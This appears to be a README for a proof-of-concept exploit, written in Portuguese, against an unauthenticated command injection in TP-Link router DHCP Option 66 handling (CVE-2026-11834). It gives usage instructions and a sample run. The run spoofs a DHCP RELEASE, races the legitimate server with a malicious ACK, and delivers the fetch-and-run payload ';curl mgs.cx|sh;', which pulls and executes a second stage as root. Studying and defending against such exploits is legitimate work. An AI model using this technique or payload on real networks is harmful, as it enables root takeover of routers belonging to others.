
Prova de Conceito (PoC) para a RCE não autenticada na Opção 66 do DHCP da TP-Link (CVE-2026-11834)
TP-Link DHCP Option 66 RCE não autenticado (CVE-2026-11834)
Uma vulnerabilidade de injeção de comandos (CWE-78) no tratamento da DHCP Option 66 ("TFTP Server Name") no firmware de roteadores TP-Link permite que um atacante não autenticado no mesmo segmento de rede execute comandos arbitrários como root. Quando o dispositivo atua como cliente DHCP na interface WAN, o valor da Option 66 retornado em uma concessão é concatenado sem sanitização em um comando shell tftp dentro de libcmm.so. Cinco funções constroem esse comando e o passam para util_execSystem(), que chama system(); portanto, um valor de Option 66 especialmente elaborado é interpretado como entrada de shell e executado como root.
O valor da Option 66 é truncado para 16 caracteres no dispositivo; assim, o payload é um payload mínimo de busca e execução (;curl <domain>|sh;) que baixa um segundo estágio maior via HTTP.
O atacante não precisa controlar o servidor DHCP. Este PoC disputa com o servidor legítimo no segmento: ele falsifica um RELEASE DHCP como se fosse o alvo para limpar a vinculação, aguarda o alvo readquirir sua concessão e então responde ao broadcast do alvo com um OFFER/ACK malicioso carregando o payload antes que o servidor legítimo responda.
Esta Prova de Conceito (PoC) foi testada contra o TP-Link Archer C20 V6 (firmware 0.9.1 Build 4.19, EU). O caminho de código vulnerável é compartilhado por uma variedade de roteadores TP-Link; offsets de memória, endereços de funções e comportamento podem diferir em outros modelos ou versões de firmware.
Este PoC entrega um payload de Option 66 que é executado como root no dispositivo alvo. Execute-o apenas contra hardware que você possui ou para o qual está explicitamente autorizado a testar.
$ sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'
| Argumento | Descrição |
|---|---|
target_ip | Endereço IP atual do dispositivo alvo |
-i, --interface | Interface de rede no segmento do alvo |
-s, --server-ip | IP do servidor DHCP legítimo |
-S, --server-mac | MAC do servidor DHCP legítimo |
-p, --payload | Valor da Option 66 (<=16 caracteres), ex.: `;curl |
-t, --target-mac | MAC do alvo (auto-resolvido via ARP se omitido) |
-a, --attacker-ip | ID do servidor anunciado na concessão maliciosa (padrão: IP da interface) |
Exemplo de execução:
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
O host do payload disponibiliza um segundo estágio que o dispositivo baixa e executa. Por exemplo:
$ cat index.html
[second stage payload]
$ sudo python3 -m http.server 80